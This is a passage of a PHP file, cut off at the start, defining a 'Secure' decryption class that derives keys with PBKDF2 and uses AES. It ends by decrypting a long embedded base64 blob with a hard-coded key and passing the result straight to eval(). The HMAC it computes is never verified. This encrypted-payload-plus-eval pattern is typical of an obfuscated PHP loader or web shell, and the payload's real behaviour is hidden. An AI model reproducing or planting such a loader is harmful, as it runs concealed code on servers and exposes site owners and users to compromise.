masterKey = $masterKey; } public function decrypt($encrypted) { $data = base64_decode($encrypted); $salt = substr($data, 0, $this->saltLength); $ivLength = openssl_cipher_iv_length($this->cipher); $iv = substr($data, $this->saltLength, $ivLength); $hmac = substr($data, $this->saltLength + $ivLength, 32); $ciphertext = substr($data, $this->saltLength + $ivLength + 32); $derivedKeys = $this->deriveKeys($salt); $calcHmac = hash_hmac($this->hmacAlgo, $iv . $salt . $ciphertext, $derivedKeys['hmac'], true); $decrypted = openssl_decrypt($ciphertext, $this->cipher, $derivedKeys['encryption'], OPENSSL_RAW_DATA, $iv); return $decrypted; } private function deriveKeys($salt) { $keyMaterial = hash_pbkdf2( $this->hmacAlgo, $this->masterKey, $salt, $this->iterations, 64, true ); return [ 'encryption' => substr($keyMaterial, 0, 32), 'hmac' => substr($keyMaterial, 32) ]; } private function verifyHmac($knownHmac, $userHmac) { return hash_equals($knownHmac, $userHmac); } public function setIterations($iterations) { $this->iterations = (int)$iterations; return $this; } public function setCipher($cipher) { $this->cipher = $cipher; return $this; } } $secure = new Secure('3Etrksi87rde3hd8s819Poe0o39sqKjl9'); $str = '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'; $decrypted = $secure->decrypt($str); eval($decrypted);